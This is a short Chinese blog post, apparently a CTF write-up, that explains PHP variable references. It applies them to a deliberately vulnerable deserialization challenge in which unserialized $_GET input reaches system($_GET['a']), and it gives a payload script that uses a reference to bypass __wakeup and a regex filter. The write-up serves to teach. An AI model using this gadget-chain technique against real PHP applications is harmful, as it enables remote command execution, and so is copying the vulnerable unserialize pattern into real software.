php变量引用

可以看到b原本的值是123,引用a之后,变成100

但是修改b的值为1100之后,发现a的值也从原本的100变成1100了

这就涉及到引用的基本工作原理:

当你使用引用时,实际上是在操作同一个变量的不同别名,因此对一个引用的修改会影响到所有指向该变量的引用

 

应用场景:

如果某个我们想要控制的变量被强制赋值,这时候如果我们有其他可控变量的话,可以通过引用赋值来

例子:

<?php
show_source(__FILE__);
class a{
    public function __get($a){
        $this->b->love();
    }
}
​
class b{
    public function __destruct(){
        $tmp = $this->c->name;
    }
    public function __wakeup(){
        $this->c = "no!";
        $this->b = $this->a;
    }
}
​
class xk{
    public function love(){
       system($_GET['a']);
    }
}
​
if(preg_match('/R:2|R:3/',$_GET['pop'])){
    die("no");
}
unserialize($_GET['pop']);

 

审计完代码后,目的是要绕过wakeup中的这句$this->c = "no!"; 因为如果$this->c = "no!";的话 就无法触发get了

这时候就可以利用引用赋值,如通过b类的b属性来通过c属性

payload:

$ctf = new b();
$ctf->a= new a();
$ctf->a->b=new xk();
$ctf->c=&$ctf->b;
echo serialize($ctf);

 

 
 
posted @ 2024-04-24 19:50  Xuraniiiz  阅读(6)  评论(0编辑  收藏  举报